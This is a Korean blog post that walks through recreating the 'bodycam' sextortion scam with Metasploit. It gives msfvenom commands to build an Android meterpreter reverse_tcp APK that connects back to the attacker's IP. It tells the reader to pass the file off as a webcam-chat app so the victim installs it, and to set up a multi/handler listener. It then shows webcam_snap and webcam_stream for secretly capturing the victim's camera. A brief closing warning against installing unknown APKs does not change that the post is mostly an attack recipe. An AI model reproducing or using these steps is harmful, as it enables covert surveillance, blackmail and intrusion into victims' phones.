Metasploit

์š”์ฆ˜ ์œ ํ–‰ ํ•˜๋˜ ๋ชธ์บ  (๊ธฐ์ดˆ๋ฐฉ์‹)

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2016. 12. 15.
728x90
๋ฐ˜์‘ํ˜•

์š”์ฆ˜ ๋ชธ์บ ์ด ์œ ํ–‰์„ ํ–ˆ์—ˆ๋‹ค.


๋Œ€์ถฉ ์›๋ฆฌ๋ฅผ ๋ณด๋ฉด ์Šค์นดxx๊ฐ™์€ ๊ณณ์—์„œ ์ฑ„ํŒ…์„ ํ•˜๋‹ค๊ฐ€ ๋ชธ์บ ์„ ํ•˜์ž๊ณ  ํŒŒ์ผ์„ ๋ฐ›์œผ๋ผ๊ณ  ํ•œ๋‹ค. (๋ชธ์บ ์„ ํ•˜๊ธฐ์œ„ํ•œ ์ „์šฉ ํŒŒ์ผ์ด๋ผ ๋ปฅ์„ ์นœ๋‹ค.)


๊ทธ๋Ÿฌ๊ณ  ํŒŒ์ผ์„ ๋ณด๋‚ด๋Š”๋ฐ ๊ทธ ํŒŒ์ผ์€ ๋‹น์—ฐํžˆ ์•…์„ฑ์ฝ”๋“œ !! :)


์ด์ œ ๊ทธ๊ฒƒ์„ ์žฌ์—ฐํ•ด๋ณด์ž 


๊ทธ์ „์— ๋ชจ๋“  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž ๋ณธ์ธ์—๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹œ์ž‘ํ•ด๋ณด์ž :X


๋จผ์ € service apache2 start๋กœ ์•„ํŒŒ์น˜๋ฅผ ์‹คํ–‰ ์‹œ์ผœ์ฃผ๊ณ  


service postgresql start ๋กœ postgresql ๋˜ํ•œ ์‹œํ‚จ๋‹ค.


๊ถ๊ทน์ ์ธ ๋ช…๋ น์–ด service metasploit start ๋กœ metasploit ๋˜ํ•œ ์‹คํ–‰์‹œํ‚จ๋‹ค.



๊ทธ ํ›„ ์ด์ œ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด์•ผ ํ•˜๋Š”๋ฐ...

๋ช…๋ น์–ด msfvenom์„ ์ด์šฉ ํ•˜์—ฌ ๋งŒ๋“ค์–ด ๋ณด์ž.

msfvenom -p android/meterpreter/reverse_tcp LHOST=attacker IP LPORT=ํ•˜๊ณ ์‹ถ์€ ํฌํŠธ๋ฒˆํ˜ธ R > filename.apk



์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํŒŒ์ผ์ด /root ํด๋”์— ํŒŒ์ผ์ด ๋งŒ๋“ค์–ด ์ ธ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธ ํ• ์ˆ˜ ์žˆ๋‹ค.




๊ทธ ํŒŒ์ผ์„ ์ด์ œ ๋ชธ์บ  ์ „์šฉํŒŒ์ผ์ด๋ผ๊ณ  ๋ปฅ์„ ์น˜๊ณ  victim์—๊ฒŒ ๋ณด๋‚ด์–ด ์„ค์น˜๋ฅผ ํ•˜๊ฒŒ ํ•œ๋‹ค. 



๊ทธ๋Ÿผ ๊ณต๊ฒฉ์ž ์ชฝ์—์„œ๋Š” ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์–ป์–ด์•ผ ํ•˜๋‹ˆ


msfconsole์„ ์ด์šฉํ•˜์—ฌ 



use exploit/multi/handler 

set payload [์•„๊นŒ apkํŒŒ์ผ ๋งŒ๋“ค๋•Œ -p ํ•˜๊ณ  ๋„ฃ์€ ์ฝ”๋“œ]

set LHOST attacker IP

set LPORT [์•„๊นŒ ํ•˜๊ณ ์‹ถ์€ ํฌํŠธ ๋ฒˆํ˜ธ apk๋งŒ๋“ค๋•Œ๋ž‘ ๊ฐ™์€ ๋ฒˆํ˜ธ์—ฌ์•ผ ํ•œ๋‹ค.]

exploit ํ•˜๊ณ  ๊ธฐ๋‹ค๋ฆฌ๋ฉด 



apk๋ฅผ ์‹คํ–‰ ์‹œํ‚ค๋ฉด ์ด์ œ ๊ณต๊ฒฉ์ž๋Š” ๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋œ๋‹ค.



help ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ช…๋ น์–ด๋ฅผ ๋ณด๋ฉด 

์šฐ๋ฆฌ๋Š” ๋ชธ์บ ์„ ํ• ๊บผ๋‹ˆ ํํํ

webcam ์œ„์ฃผ๋กœ ๋ณด๋ฉด ๋ ๊ฒƒ๊ฐ™๋‹ค.



webcam_snap ๋ช…๋ น์–ด๋ฅผ ์“ฐ๋ฉด ์‚ฌ์ง„์„ ์ฐ์–ด์ค€๋‹ค. ์ปดํ“จํ„ฐ๋กœ ๊ฐ€์ƒ ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์„ ๋งŒ๋“ค์–ด ์นด๋ฉ”๋ผ๊ฐ€ ์—†์–ด ์ด๋ ‡๊ฒŒ ๋œจ์ง€๋งŒ ์‹ค์ œ๋กœ๋Š” ์ฐํžŒ๋‹ค.


webcam_stream ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋™์˜์ƒ์„ ์ฐ์–ด ๋ณด์—ฌ์ค€๋‹ค.


์กฐ์‹ฌํ•˜์ž... ํ—ˆ๊ฐ€๋˜์ง€์•Š๊ณ  ์•„๋ฌด apk๋‚˜ ๋ฐ›์ง€๋ง์ž...


728x90
๋ฐ˜์‘ํ˜•

๋Œ“๊ธ€